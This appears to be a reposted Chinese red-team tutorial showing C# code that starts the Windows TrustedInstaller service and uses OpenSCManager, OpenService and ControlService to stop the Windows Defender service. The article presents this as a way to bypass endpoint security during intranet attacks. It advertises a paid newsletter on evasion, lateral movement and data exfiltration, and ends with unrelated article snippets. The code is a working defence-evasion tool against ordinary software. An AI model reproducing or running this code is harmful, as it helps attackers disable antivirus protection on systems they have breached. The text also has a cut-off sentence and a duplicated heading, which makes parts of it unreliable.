.NET内网实战:模拟Installer关闭Defender

01基本介绍

图片

02编码实现

原理上通过Windows API函数将当前进程的权限提升至TrustedInstaller,从而实现了对Windows Defender服务的控制。通常可以利用Windows API中的OpenSCManager、OpenProcessToken、ImpersonateLoggedOnUser以及ControlService等函数协同工作,来实现对Windows Defender服务的关闭操作。

3.1 启动TrustedInstaller

ZwQueryInformationProcess函数用于获取指定进程的信息,如进程ID、父进程信息等,ReadProcessMemory函数用于从指

通过调用OpenSCManager、OpenService、StartService这三个API方法启动一个TrustedInstaller 服务。调用函数代码如下所示。

[DllImport("advapi32.dll", CharSet = CharSet.Unicode, EntryPoint = "OpenSCManagerW", ExactSpelling = true, SetLastError = true)]
public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);

OpenService函数用于打开服务控制管理器(SCM)数据库中指定的服务,方便进行下一步的操作(如启动、停止等),具体代码如下所示。

[DllImport("advapi32", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);

StartService函数是Windows Service Control Manager (SCM) API的一部分,用于启动一个已安装的服务。为了便于使用,我们封装成一个自定义方法start_trustedinstaller_service,具体代码如下所示。

public static void start_trustedinstaller_service()
{IntPtr intPtr = Program.OpenSCManager(null, null, 0xF003F);bool flag = intPtr == IntPtr.Zero;if (flag){Console.WriteLine("OpenSCManager failed!");}else{Console.WriteLine("OpenSCManager success!");string lpServiceName = "TrustedInstaller";IntPtr intPtr2 = Program.OpenService(intPtr, lpServiceName, (uint) SERVICE_ACCESS.SERVICE_START);bool flag2 = Program.StartService(intPtr2, 0, null);bool flag3 = flag2;if (flag3){Console.WriteLine("TrustedInstaller service started!");}else{Console.WriteLine("TrustedInstaller service cannot be started!");}Thread.Sleep(2000);Program.CloseHandle(intPtr2);Program.CloseHandle(intPtr);}
}

上述代码中,依次调用系统API函数OpenSCManager,用于打开服务控制管理器数据库,并返回一个句柄。参数 null 表示连接到本地计算机,0xF003F 是访问权限标志,表示具有完全访问权限。

接着,声明一个值为TrustedInstaller的变量ServiceName,使用 OpenService 函数打开 TrustedInstaller 服务,并返回一个服务句柄。SERVICE_ACCESS.SERVICE_START 权限表示具有启动服务的权限。

最后,调用API 函数 StartService 启动 TrustedInstaller 服务。

3.2 启动TrustedInstaller

通过调用OpenService、ControlService等API函数来关闭Windows Defender。调用函数代码如下所示。

[DllImport("advapi32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool ControlService(IntPtr hService, Program.SERVICE_CONTROL dwControl, ref Program.SERVICE_STATUS lpServiceStatus);

ControlService函数,用于控制Windows服务的,包括启动、停止、暂停等。最后,我们封装成一个自定义方法stop_defender_service,实现的过程利用ControlService函数打开Windows Defender服务,将服务的句柄权限标志设置成SERVICE_STOP即可,具体实现代码如下所示。

public static void stop_defender_service(){IntPtr intPtr = Program.OpenSCManager(null, null, 983103U);bool flag = intPtr == IntPtr.Zero;if (flag){Console.WriteLine("OpenSCManager failed!");}else{Console.WriteLine("OpenSCManager success!");string lpServiceName = "WinDefend";IntPtr intPtr2 = Program.OpenService(intPtr, lpServiceName, 44U);Program.SERVICE_STATUS service_STATUS = default(Program.SERVICE_STATUS);bool flag2 = Program.ControlService(intPtr2, Program.SERVICE_CONTROL.STOP, ref service_STATUS);bool flag3 = flag2;if (flag3){Console.WriteLine("Windefender service stopped!");}else{Console.WriteLine("Windefender service cannot be stopped!");}Thread.Sleep(2000);Program.CloseHandle(intPtr2);Program.CloseHandle(intPtr);}}

综上,通过一系列步骤成功模拟 TrustedInstaller 服务的令牌,从而停止 Windows Defender反病毒软件服务,也因此该方法在内网红队绕过Windows终端安全防护阶段具有重要的意义。想要了解完整或者更多的内网安全防御绕过方向的文章,参考小报童《.NET 内网实战攻防》电子报刊。

03.NET 电子报刊

本次电子报刊《.NET 内网安全攻防》专栏,内容主要有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧,可细分为以下8个方向。

1) .NET 安全防御绕过
2) .NET 本地权限提升
3) .NET 内网信息收集
4) .NET 内网代理通道
5) .NET 内网横向移动
6) .NET 目标权限维持
7) .NET 数据传输外发
8) .NET 目标痕迹清理

图片

图片

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/392649.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

从干涉实验、化学反应到晶体管的科学之旅 - 《量子宇宙》读后感

在《量子宇宙》这本书中,作者没有讲述历史和发现的故事,而是从头到尾用公式推导来展示宇宙和现代物理学的壮美。 量子理论处理的是概率,而不是确定性。大自然在某些方面本质上就是由或然率支配的。计算粒子出现的概率是我们能做到的极限。 …

渗透小游戏,各个关卡的渗透实例---步骤简单(含代码)

文章目录 Less-1Less-2Less-5updatexml报错注入: Less-6Less-7Less-8Less-9Less-11Less-13Less-15 Less-1 首先,可以看见该界面,该关卡主要是SQL注入,由于对用户的输入没有做过滤,使查询语句进入到了数据库中&#xff…

springboot电影院线上购票系统-计算机毕业设计源码68220

目录 摘要 1 绪论 1.1 选题背景与意义 1.2国内外研究现状 1.3论文结构与章节安排 2系统分析 2.1.1 技术可行性分析 2.1.2 经济可行性分析 2.1.3 法律可行性分析 2.2 系统流程分析 2.2.1 添加信息流程 2.2.2 修改信息流程 2.2.3 删除信息流程 2.3 系统功能分析 2.…

synchronized 与 Lock 的区别

synchronized 与 Lock 的区别 1、相同点2、不同点2.1 精确性与灵活性2.2 性能2.3 使用便利性 3、示例3.1 synchronized 示例3.2 Lock 示例 4、总结 💖The Begin💖点点关注,收藏不迷路💖 在Java多线程编程中,synchroniz…

智能家居沙盘系统-智慧家居沙盘系统

智能家居和物联网技术是当前科技领域的热门话题,随着各类智能家居产品的不断推出,智能家居市场也逐渐呈现出蓬勃发展的态势。智能家居快速发展,而物联网相关人才供应远远不足。高校开展智能家居工程及设计人才教育培养具有重大意义。 基本介绍…

【stm32】EXTI外部中断

EXTI外部中断 1、中断系统2、中断执行流程3、STM32中断4、NVIC基本结构5、NVIC优先级分组6、EXTI简介(引脚电平变化,申请中断)7、EXTI基本结构8、AFIO复用IO口9、EXTI框图10、旋转编码器简介11、程序设计:1.使用对射式红外传感器触…

vue3实现商品图片放大镜效果(芋道源码yudao-cloud 二开笔记)

今天开发一个防某商城的商品图片放大镜,鼠标移动到图片位置时,右侧出现一个已放大的图片效果。 示例如下: 下图的图片的放大效果和小图的切换封装成了组件PicShow.vue,可根据需求自行修改,如下: 第一步&…

Html5总结

前端学习 html决定页面的结构css决定页面的样式js决定页面的行为 Html5 1.文本格式化标签(熟记) 你在网页中,有时需要为文字设置粗体、斜体或下划线效果,这时就需要用到HTML中的文本格式化标记 2.标签属性 例如: …

算法 —— 位运算

目录 位运算常用结论 位运算例题 位1的个数 比特位计算 汉明距离 只出现一次的数字 判定字符是否唯一 丢失的数字 两整数之和 消失的两个数字 进制转换 位运算常用结论 想详细了解位运算的内容可以阅读我的这篇博客:应该背下的位运算 以下我只介绍一些位…

3.特征工程-特征抽取、特征预处理、特征降维

文章目录 环境配置(必看)头文件引用1.数据集: sklearn代码运行结果 2.字典特征抽取: DictVectorizer代码运行结果稀疏矩阵 3.文本特征抽取(英文文本): CountVectorizer()代码运行结果 4.中文文本分词(中文文本特征抽取使用)代码运行结果 5.中文文本特征抽…

Linux基础笔记分享(超详细~)

文章目录 Linux基础1.基础概念2.基础命令命令行快捷键自动补全: tab移动光标快速删除翻看历史命令终止程序退出登录清屏 查看命令帮助alias命令别名-快捷键pwd-类似于地图cd-类似于传送术mkdir-类似于合成装备touch-创建文件ls-类似于查看装备tree-打印目录层级结构cp-复制命令…

HarmonyOS 习题(一)

1、在HarmonyOS系统架构中,以下哪项属于应用层? A)AI子系统 B)U框架 C)电话 D)内核 答案:C 解析: 2、在HarmonyOS系统架构中,以下哪项提供统一的外设访问能力和驱动的开发管理框架…

sqli-labs靶场练习(1、5-8关)

自己搭建环境啊喂...http://127.0.0.1/sqli-labs-php7-master/ 第一关 1.单引号判断是否存在注入点 /?id1 2.查询列数 ?id1 order by 3-- ?id1 order by 4-- 由此可判断有3列 3.查询用户名和密码分别在哪列 ?id-1 union select 1,2,3 -- 4.查询数据库名称为security ?…

81.SAP ME - SAP SMGW Getway Monitor

目录 1.起因 2.SMGW Displaying Logged On Clients Displaying Remote Gateways Display and Control Existing Connections Deleting a Connection Displaying Gateway Release Information Displaying Parameters and Attributes of the Gateway Change Gateway Pa…

js中的ajax【Axios,XMLHttpRequest,Promise,async】回调函数地狱等问题

目录 前置知识 1.什么是异步请求? 2.什么是回调函数 3.如何查看网页的异步请求(XHR)? 4.什么是ajax jquery的ajax,xhr,axios关系 正文---几种请求之间的关系 axios Axios的诞生 Axios的介绍 定义…

Idea绿色下载安装教程-最新,2024版本通用-附下载链接

插件链接: 脚本 Idea下载安装完成后 进入激活码输入页面,然后关闭IDEA 按照下面流程进行激活 1. 按照以下步骤,亲测可用,记得一定要先关闭idea 2. 选择对应软件 3.选择bin、目录对应选项 5.激活 6.成功

ROS2 Humble 学习【openEuler】

ROS2 Humble 学习 1 介绍1.1 概述1.2 ROS2 详细介绍1.3 openEuler 安装 ROS2 Humble1.4 ROS2 系统架构 2 ROS2 基础2.1 节点编写、编译、运行【简单示例】节点编写节点编译 g节点运行节点编译 make节点编译 CMakeLists.txtCMake依赖查找流程Python 依赖查找流程 2.2 节点交互、…

LeetCode | 441 | 排列硬币 | 二分查找

🙋大家好!我是毛毛张! 🌈个人首页: 神马都会亿点点的毛毛张 今天分享的是LeetCode中一道标签为简单的算法题,本质是一道数学题 文章目录 1.题目描述2.题解2.1 公式解法2.2 暴力解法2.3 二分查找 LeetCode链接&#…

【51单片机仿真】基于51单片机设计的钟表定时闹钟系统仿真源码设计文档演示视频——完整资料下载

演示视频 设计内容 (1)使用 DS1302 结合字符型 LCD12864 显示器设计一个简易的定时闹钟 LCD 时钟。程序执行后 LCD 显示“00:00:00” (2)K1—设置现在的时间,年闪烁,再按 K1 键月闪…

15.75.【C语言】表达式求值

目录 一.整型提升 1.定义 2. 一.整型提升 1.定义 C语言中整型算术运算总是至少以缺省(默认)整型类型的精度来进行的。为了获得这个精度,表达式中的字符和短整型操作数在使用之前被转换为普通整型,这种转换称为整型提升 2.整型提…